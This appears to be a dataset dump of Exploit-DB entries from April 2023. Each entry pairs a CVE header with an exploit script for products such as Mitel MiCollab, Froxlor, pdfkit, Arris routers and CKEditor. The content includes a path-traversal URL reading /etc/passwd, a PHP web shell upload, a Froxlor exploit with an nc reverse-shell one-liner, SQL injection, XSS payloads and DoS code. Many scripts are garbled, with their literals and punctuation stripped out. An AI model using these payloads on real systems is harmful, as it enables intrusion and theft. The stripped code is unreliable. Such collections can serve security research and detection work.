QLWD/code_shield huggingface dataset:
标题: Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal and LFI EDB-ID: 51308 CVE: 2020-11798 类型: WEBAPPS 平台: CGI 发布日期: 2023-04-06 漏洞利用脚本: # Exploit Title: Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal and LFI
# Date: 2022-10-14
# Fix Date: 2020-05
# Exploit Author: Kahvi-0
# Github: https://github.com/Kahvi-0
# Vendor Homepage: https://www.mitel.com/
# Vendor Security Advisory: https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-20-0005
# Version: before 8.1.2.4 and 9.x before 9.1.3
# CVE: CVE-2020-11798
# CVE Reported By: Tri Bui



Description:

A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories

Payload:

https://[site]/awcuser/cgi-bin/vcs_access_file.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd URL: https://www.exploit-db.com/exploits/51308
标题: Agilebio Lab Collector Electronic Lab Notebook v4.234 - Remote Code Execution (RCE) EDB-ID: 51307 CVE: 2023-24217 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-06 漏洞利用脚本: # Exploit Title: Agilebio Lab Collector Electronic Lab Notebook  v4.234 - Remote Code Execution (RCE)
# Date: 2023-02-28
# Exploit Author: Anthony Cole
# Vendor Homepage: https://labcollector.com/labcollector-lims/add-ons/eln-electronic-lab-notebook/
# Version: v4.234
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: PHP/MYSQL
# CVE: CVE-2023-24217
# Category: webapps
#   
# Lab Collector is a software written in PHP by Agilebio. Version v4.234 allows an authenticated user to execute os commands on the underlying operating system.


 argparse  ArgumentParser
 requests  Session
 random  choice
 string  ascii_lowercase ascii_uppercase digits
 re
 base64  b64encode
 urllibparse  quote_plus

sessSession  Session
cookies  
headers  
state  

 length  
     joinchoiceascii_lowercaseascii_uppercasedigits  i  length

 base_url username password  
    data   username  password  
    headers  f
    res  sesspostf datadata headersheaders

      restext
         restext
    
         
    
 base_url  
    headers  f
    sessgetfheadersheaders

 contents name
    value  refindallf contents
    value
         value
    
         

 html
     
         extract_field_valuehtml 
         extract_field_valuehtml 
         extract_field_valuehtml 
         extract_field_valuehtml 
         extract_field_valuehtml 
         extract_field_valuehtml 
         extract_field_valuehtml 
         extract_field_valuehtml 
    


 base_url wrapper param data  
    headers  f
    res  sesspostf datadata headersheaders
     

 base_url wrapper param session_path cmd
    session_file  sesscookiesget
    headers  f
    page  f
    res  sessgetf headersheaders
     parse_outputrestext wrapper

 args  
    wrapper  random_string
    param  random_string
    html  loginargsurl argslogin_username argslogin_password
    
    html  
        
         
    
    clean  get_profilehtml
    data  get_profilehtml
    tag  b64encodewrapperencodedecode
    payload  f    
    
    data  payload 

    update_profileargsurl wrapper param data
        loginargsurl argslogin_username argslogin_password 
        execute_commandargsurl wrapper param argssessions argscmd
        update_profileargsurl wrapper param clean 
    
    logoutargsurl
    

 contents wrapper  
    matches  refindallf contents reMULTILINE  reDOTALL
    matches
         matches
    
     

   
    parserArgumentParser  ArgumentParserdescription
    parseradd_argument  required 
    parseradd_argument  required 
    parseradd_argument  required 
    parseradd_argument  required 
    parseradd_argument  required default 
    
    args  parserparse_args
    argsurlendswith
        argsurl  argsurl

    argssessionsendswith
        argssessions  argssessions

    exploitargs
    

__name__  
    main URL: https://www.exploit-db.com/exploits/51307
标题: pdfkit v0.8.7.2 - Command Injection EDB-ID: 51293 CVE: 2022–25765 类型: LOCAL 平台: RUBY 发布日期: 2023-04-06 漏洞利用脚本: #!/usr/bin/env python3
# Exploit Title: pdfkit v0.8.7.2 - Command Injection
# Date: 02/23/2023
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pdfkit.org/
# Software Link: https://github.com/pdfkit/pdfkit
# Version: 0.0.0-0.8.7.2
# Tested on: pdfkit 0.8.6
# CVE: CVE-2022–25765
# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765
# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

# Imports
import time
import sys
 requests
 urllibparse  quote


 
    red  
    gold  
    blue  
    green  
    no  



 
    rf



 
    r
    exit


 spins

     
         
             cursor  
                 cursor

    spinner  spinning_cursor
     _  spins
        sysstdoutwritespinner
        sysstdoutflush
        timesleep
        sysstdoutwrite



 payload exploitMode postArg

    UNICORD_ASCII

    f
    loading
    f
    f  payload  f

       exploitMode
         exploitMode  
            
                f
        
            
                f
            
                f
        f
        f
            website
            
                f
            exit
        postArg  postArg    quotepayload safe
        
            response  requestspostwebsite postArg
        
            
                f
            exit
        loading
        f
        loading
        f
     exploitMode  
        f
        loading
        
            f
     exploitMode  
        f
        f
        loading
        
            f

    exit


 __name__  

    args      
    modes   
              
              
              
    postArg  

     args  sysargv
        
     args  sysargv   args  sysargv
        
             sysargvsysargvindexargs    args
                
            command  sysargvsysargvindexargs  
        
            
                f
            exit
        payload  f
        mode  
     args  sysargv   args  sysargv
        
               sysargvsysargvindexargs  
                
            listenIP  sysargvsysargvindexargs  
        
            
                f
            exit
        
               sysargvsysargvindexargs  
                
            listenPort  sysargvsysargvindexargs  
        
            
                f
            exit
        payload  f
        mode  
    
        

     args  sysargv  args  sysargv
        
               sysargvsysargvindexargs    sysargvsysargvindexargs    
                
            website  sysargvsysargvindexargs  
            mode    mode
        
            
                f
            exit
        
               sysargvsysargvindexargs    sysargvsysargvindexargs    
                
            postArg  sysargvsysargvindexargs  
        
            
                f
            exit
     args  sysargv  args  sysargv
        
            f
        exit

    exploitpayload mode postArg URL: https://www.exploit-db.com/exploits/51293
标题: Best pos Management System v1.0 - Remote Code Execution (RCE) on File Upload EDB-ID: 51280 CVE: 2023-0943 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-06 漏洞利用脚本: # Exploit Title: Best pos Management System v1.0 - Remote Code Execution (RCE) on File Upload
# Google Dork: NA
# Date: 17/2/2023
# Exploit Author: Ahmed Ismail (@MrOz1l)
# Vendor Homepage: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0 
# Tested on: Windows 11
# CVE : (CVE-2023-0943)
### Steps to Reproduce
1- Login as Admin Rule
2- Head to " http://localhost/kruxton/index.php?page=site_settings"
3- Try to Upload an image here it will be a shell.php

```
shell.php
``````
<?php system($_GET['cmd']); ?>
4- Head to http://localhost/kruxton/assets/uploads/
5- Access your uploaded Shell 
http://localhost/kruxton/assets/uploads/1676627880_shell.png.php?cmd=whoami URL: https://www.exploit-db.com/exploits/51280
标题: modoboa 2.0.4 - Admin TakeOver EDB-ID: 51276 CVE: 2023-0777 类型: WEBAPPS 平台: PYTHON 发布日期: 2023-04-06 漏洞利用脚本: /* # Exploit Title: modoboa  2.0.4 - Admin TakeOver 
# Description: Authentication Bypass by Primary Weakness 
# Date: 02/10/2023
# Software Link: https://github.com/modoboa/modoboa
# Version: modoboa/modoboa prior to 2.0.4
# Tested on: Arch Linux 
# Exploit Author: 7h3h4ckv157
# CVE: CVE-2023-0777 


*/

package main

import (
 "fmt"
 
 
 
 
 


  
 fmt
 host  
 username  
 passwordFile  


 passwords err  passwordFile
  err   
  fmt err
  os
 

   password   passwords 
  data  fmt username password

  headers  
              host
        
            
    
    
      
  

  resp err  fmt host headers data
   err   
   fmt err
   os
  

   respStatusCode   
   fmt password
   
    
   fmt password
  

  
  delay  time  timeNanosecond
  timedelay
 


 Read the lines from a file and  them as a slice of strings
 filename    
 content err  ioutilfilename
  err   
    err
 
  stringscontent  


 Send a POST request with the given headers and data
 url  headers  data  httpResponse  
 req err  http url stringsdata
  err   
    err
 
  key value   headers 
  reqHeaderkey value
 
 client  httpClient
 resp err  clientreq
  err   
    err
 
  resp 


 Get user input and  the trimmed value
 prompt   
 fmtprompt
  input 
 fmtinput
  stringsinput URL: https://www.exploit-db.com/exploits/51276
标题: POLR URL 2.3.0 - Shortener Admin Takeover EDB-ID: 51277 CVE: 2021-21276 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-06 漏洞利用脚本: # Exploit Title: POLR URL 2.3.0 - Shortener Admin Takeover
# Date: 2021-02-01
# Exploit Author: p4kl0nc4t <me-at-lcat-dot-dev>
# Vendor Homepage: -
# Software Link: https://github.com/cydrobolt/polr
# Version: < 2.3.0
# Tested on: Linux
# CVE : CVE-2021-21276


import json

import requests

payload = {
    'acct_username': 'admin',
     
     
     


r  requestsget
                 cookies jsondumpspayload
rtext URL: https://www.exploit-db.com/exploits/51277
标题: Art Gallery Management System Project in PHP v 1.0 - SQL injection EDB-ID: 51272 CVE: 2023-23156 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-06 漏洞利用脚本: # Exploit Title: Art Gallery Management System Project in PHP v 1.0 - SQL injection
# Date: 31-01-2023
# Exploit Author: Yogesh Verma
# Vendor Homepage: https://y0gesh-verma.github.io/
# Software Link: https://phpgurukul.com/art-gallery-management-system-using-php-and-mysql/, https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip
# Version: 1.0
# Tested on: Windows/Linux
# CVE : CVE-2023-23156



#!/usr/bin/python
import sys
 requests

tmp  requestsSession
db_name  
database  
 sysargv  
    url  sysargv
     i   
         j   
            sql_payload  f
            data     sql_payload
            r  tmpgeturl paramsdata
               rtext
                db_name  j
    database  db_name
     db_name
        
        database URL: https://www.exploit-db.com/exploits/51272
标题: TitanFTP 2.0.1.2102 - Path traversal to Remote Code Execution (RCE) EDB-ID: 51268 CVE: 2023-22629 类型: REMOTE 平台: WINDOWS 发布日期: 2023-04-06 漏洞利用脚本: # Exploit Title: TitanFTP 2.0.1.2102 - Path traversal to Remote Code Execution (RCE)

# Date: 02.14.2023
# Exploit Author: Andreas Finstad
# Vendor Homepage: https://titanftp.com/

# Version: < 2.0.1.2102

# Tested on: Windows 2022 Server
# CVE : CVE-2023-22629


Exploit and description here:
https://f20.be/blog/titanftp

Kind regards
Andreas Finstad URL: https://www.exploit-db.com/exploits/51268
标题: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 51269 CVE: 2022-45701 类型: REMOTE 平台: HARDWARE 发布日期: 2023-04-06 漏洞利用脚本: # Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)
# Date: 17/11/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://www.commscope.com/
# Version: 9.1.103
# Tested on: TG2482A, TG2492, SBG10
# CVE : CVE-2022-45701

import requests
import base64

router_host = "http://192.168.0.1"
username = "admin"
password  

lhost  
lport  


 
    
    cookie  get_cookiegen_headerusername password
     cookie  
        
        exit
    
    payload  gen_payloadlhost lport
    
    send_payloadpayload cookie
    

 u p
     base64b64encodefencodedecode

 params
      join  kv  kv  paramsitems

 header
    url  router_host
    params  no_encode_paramsheader 
    resprequestsgeturl paramsparams
     respcontentdecode

 oid cookie
    url  router_host
    params  no_encode_paramsoid 
    cookies  cookie
    requestsgeturl paramsparams cookiescookies

 h p
     f

 payload cookie
    set_oid cookie
    set_oidf cookie
    set_oid cookie
    set_oid cookie
    set_oid cookie
    set_oid cookie
    

 __name__  
    main URL: https://www.exploit-db.com/exploits/51269
标题: EasyNas 1.1.0 - OS Command Injection EDB-ID: 51266 CVE: 2023-0830 类型: REMOTE 平台: HARDWARE 发布日期: 2023-04-06 漏洞利用脚本: # Exploit Title: EasyNas 1.1.0 - OS Command Injection
# Date: 2023-02-9
# Exploit Author: Ivan Spiridonov (ivanspiridonov@gmail.com)
# Author Blog: https://xbz0n.medium.com
# Version: 1.0.0
# Vendor home page : https://www.easynas.org
# Authentication Required: Yes
# CVE : CVE-2023-0830

#!/usr/bin/python3

import requests
import sys
import base64
import urllib.parse
 time

 requestspackagesurllib3exceptions  InsecureRequestWarning


requestspackagesurllib3disable_warningsInsecureRequestWarning

 sysargv  
    
    sysexit

url  sysargv
user  sysargv
password  sysargv


payload  sysargv sysargv


payload  base64b64encodepayloadencodedecode


payload  urllibparsequotepayload


login_data  
    user
    password
    



session  requestsSession



login_response  sessionpostf datalogin_data verify


   login_responsetext
    
    sysexit

    



timeout  


    exploit_response  sessiongetf headers timeout  timeout verify
     exploit_responsestatus_code  
        
    
        

 requestsexceptionsReadTimeout
    
    sysexit URL: https://www.exploit-db.com/exploits/51266
标题: Provide Server v.14.4 XSS - CSRF & Remote Code Execution (RCE) EDB-ID: 51264 CVE: 2023-23286 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: Provide Server v.14.4 XSS - CSRF & Remote Code Execution (RCE)
# Date: 2023-02-10
# Exploit Author: Andreas Finstad
# Version: < 14.4.1.29 
# Tested on: Windows Server 2022
# CVE : CVE-2023-23286
POC:

https://f20.be/blog/provide-server-14-4 URL: https://www.exploit-db.com/exploits/51264
标题: Apache Tomcat 10.1 - Denial Of Service EDB-ID: 51262 CVE: 2022-29885 类型: DOS 平台: MULTIPLE 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title:  Apache Tomcat 10.1 - Denial Of Service
# Google Dork: N/A
# Date: 13/07/2022
# Exploit Author: Cristian 'void' Giustini
# Vendor Homepage: https://tomcat.apache.org/
# Software Link: https://tomcat.apache.org/download-10.cgi
# Version: <= 10.1
# Tested on: Apache Tomcat 10.0 (Docker)
# CVE : CVE-2022-29885 (CVE Owner: 4ra1n)
# Exploit pre-requirements: pip install pwntools==4.8.0
# Analysis : https://voidzone.me/cve-2022-29885-apache-tomcat-cluster-service-dos/ 

 

 





 pwn  

 time

 threading

 subprocess

threads  

 

 

 

    r  remote 

     

        rsendb  b  

 

 _  

    new_thread  threadingThreadtargetsend_payload

    threadsappendnew_thread

    new_threadstart

 old_thread  threads

    old_threadjoin URL: https://www.exploit-db.com/exploits/51262
标题: ImageMagick 7.1.0-49 - Arbitrary File Read EDB-ID: 51261 CVE: 2022-44268 类型: LOCAL 平台: MULTIPLE 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: ImageMagick  7.1.0-49 - Arbitrary File Read
# Google Dork: N/A
# Date: 06/02/2023
# Exploit Author: Cristian 'void' Giustini
# Vendor Homepage: https://imagemagick.org/
# Software Link: https://imagemagick.org/
# Version: <= 7.1.0-49
# Tested on: 7.1.0-49 and 6.9.11-60
# CVE : CVE-2022-44268 (CVE Owner: Metabase Q Team
https://www.metabaseq.com/imagemagick-zero-days/)
# Exploit pre-requirements: Rust


# PoC : https://github.com/voidz0r/CVE-2022-44268 URL: https://www.exploit-db.com/exploits/51261
标题: Froxlor 2.0.3 Stable - Remote Code Execution (RCE) EDB-ID: 51263 CVE: 2023-0315 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-05 漏洞利用脚本: #!/usr/bin/python3

# Exploit Title: Froxlor 2.0.3 Stable - Remote Code Execution (RCE)
# Date: 2023-01-08
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2023-0315
# Vendor Homepage: https://froxlor.org/
# Version: v2.0.3
# Tested on: Ubuntu 20.04 / PHP 8.2

import telnetlib
import requests
import socket
import sys
import warnings
import random
 string
 bs4  BeautifulSoup
 urllibparse  quote
 threading  Thread

warningsfilterwarnings category3DUserWarning module


 sysargv  
    
    exit

url  sysargv
username  sysargv
password  sysargv
ip  sysargv
port  sysargv

request  requestssession

 
    login_info  
     username
     password
     
     
    
    login_request  requestposturl login_info allow_redi
rects3DFalse
    login_headers  login_requestheaders
    location_header  login_headers
     location_header  
         
    
         


 
    change_log_path_url  url  "admin_settingsphp?page3Doverviewpart
3Dlogging"
    csrf_token_req  requestgetchange_log_path_url
    csrf_token_req_response  csrf_token_reqtext
    soup  BeautifulSoupcsrf_token_req_response 
    csrf_token  soupfind  
      csrf_token

    multipart_data  

          
          
          
          
          "varwwwhtmlfroxlortemplatesFroxlorf
ooterhtmltwig"
          
          csrf_token
          
          
          
   
    
    req  requestpostchange_log_path_url files3Dmultipart_data
    response  reqtext
       response
        
         
    
         


 
    admin_page_path  url  
    csrf_token_req  requestgetadmin_page_path
    csrf_token_req_response  csrf_token_reqtext
    soup  BeautifulSoupcsrf_token_req_response 
    csrf_token  soupfind  
    onliner  "rm tmpfmkfifo tmpfcat tmpfsh i nc  
 tmpf"ip port
    payload    onliner
    data  
         payload
         csrf_token
         
         
         
    
    req  requestpostadmin_page_path data allow_redirects3DFalse
    
        location_header  reqheaders
         location_header  
            
    
        
        exit
    handler_thread  Threadtarget3Dconnection_handler argsport
    handler_threadstart
    
    req2  requestgetadmin_page_path


 port
      port
    t  telnetlibTelnet
    s  socketsocketsocketAF_INET socketSOCK_STREAM
    sbind port
    slisten
    conn addr  saccept
      addr
    tsock  conn
    
    tinteract



 login
    
    index_url  url  
    requestgetindex_url
     change_log_path
        inject_template URL: https://www.exploit-db.com/exploits/51263
标题: ERPNext 12.29 - Cross-Site Scripting (XSS) EDB-ID: 51255 CVE: 2022-28598 类型: WEBAPPS 平台: JAVA 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: ERPNext 12.29 - Cross-Site Scripting (XSS)
# Date: 7 Feb 2023 
# Exploit Author: Patrick Dean Ramos / Nathu Nandwani / Junnair Manla
#Github - https://github.com/patrickdeanramos/CVE-2022-28598
# Vendor Homepage: https://erpnext.com/
# Version: 12.29
# CVE-2022-28598

Summary: Stored cross-site scripting (XSS) vulnerability was found in ERPNext 12.29 where the 
"last_known_version" field found in the "My Setting" page in ERPNext 
12.29.0 allows remote attackers to inject arbitrary web script or HTML via 
a crafted site name by doing an authenticated POST HTTP request to 
'/desk#Form/User/(Authenticated User)' and inject the script in the 
'last_known_version' field where we are able to view the script by 
clicking the 'pdf' view form.

This vulnerability is specifically the "last_known_version" field found 
under the 'My Settings' where we need to first save the my settings.

1. Login as any user
2. Under the ‘last_known_version’ field we are going to inject our 
malicious script.
3. To view our injected script we need to click the view pdf page, and as 
seen below we have successfully injected our script. URL: https://www.exploit-db.com/exploits/51255
标题: ImageMagick 7.1.0-49 - DoS EDB-ID: 51256 CVE: 2022-44267 类型: DOS 平台: PHP 发布日期: 2023-04-05 漏洞利用脚本: ## Exploit Title: ImageMagick 7.1.0-49 - DoS
## Author: nu11secur1ty
## Date: 02.07.2023
## Vendor: https://imagemagick.org/
## Software: https://imagemagick.en.uptodown.com/windows/download/82953605
## Reference: https://portswigger.net/daily-swig/denial-of-service
## CVE-ID: CVE-2022-44267

## Description:
ImageMagick 7.1.0-49 is vulnerable to Denial of Service.
When it parses a PNG image (e.g., for resize), the convert process
could be left waiting for stdin input.
The attacker can easily send a malicious png file to the victim and
then when the victim has opened this png he will crash the program.

STATUS: HIGH Vulnerability

[+]Payload:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-44267/PoC)

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-44267)

## Proof and Exploit:
[href](https://streamable.com/l7z79c)

## Time spend:
00:30:00

-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/> URL: https://www.exploit-db.com/exploits/51256
标题: CKEditor 5 35.4.0 - Cross-Site Scripting (XSS) EDB-ID: 51260 CVE: 2022-48110 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: CKEditor 5 35.4.0 - Cross-Site Scripting (XSS)
# Google Dork: N/A
# Date: February 09, 2023
# Exploit Author: Manish Pathak
# Vendor Homepage: https://cksource.com/
# Software Link: https://ckeditor.com/ckeditor-5/download/
# Version: 35.4.0
# Tested on: Linux / Web
# CVE : CVE-2022-48110



CKSource CKEditor5 35.4.0 was discovered to contain a cross-site scripting (XSS) vulnerability via Full Featured CKEditor5 Widget as the editor fails to sanitize user provided data.

An attacker can execute arbitrary script in the browser in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CKEditor5 version 35.4.0 is tested & found to be vulnerable.

Documentation avaiable at https://ckeditor.com/docs/ckeditor5/latest/features/html-embed.html#security

Security Docs Says """The HTML embed feature does not currently execute code in <script> tags. However, it will execute code in the on* and src="javascript:..." attributes."""



Payload:

<div class="raw-html-embed">
    <script>alert(456)</script>
</div> URL: https://www.exploit-db.com/exploits/51260
标题: Answerdev 1.0.3 - Account Takeover EDB-ID: 51257 CVE: 2023-0744 类型: WEBAPPS 平台: GO 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: Answerdev 1.0.3 - Account Takeover 
# Date: Reported on Jan 24th 2023
# Exploit Author: Eduardo Pérez-Malumbres Cervera @blueudp
# Vendor Homepage: https://answer.dev/
# Software Link: https://github.com/answerdev/answer
# Version: 1.0.3
# Tested on: Ubuntu 22.04 / Debian 11
# CVE : CVE-2023-0744


from sys import argv
import urllib3
 requests  post

urllib3disable_warningsurllib3exceptionsInsecureRequestWarning


 url  email   
    
         f  \
               postf json email verifyjson
     Exception  err
         f


 __name__  
     argv  
        f
        exit

    atoargv  argvendswith  argv   argv URL: https://www.exploit-db.com/exploits/51257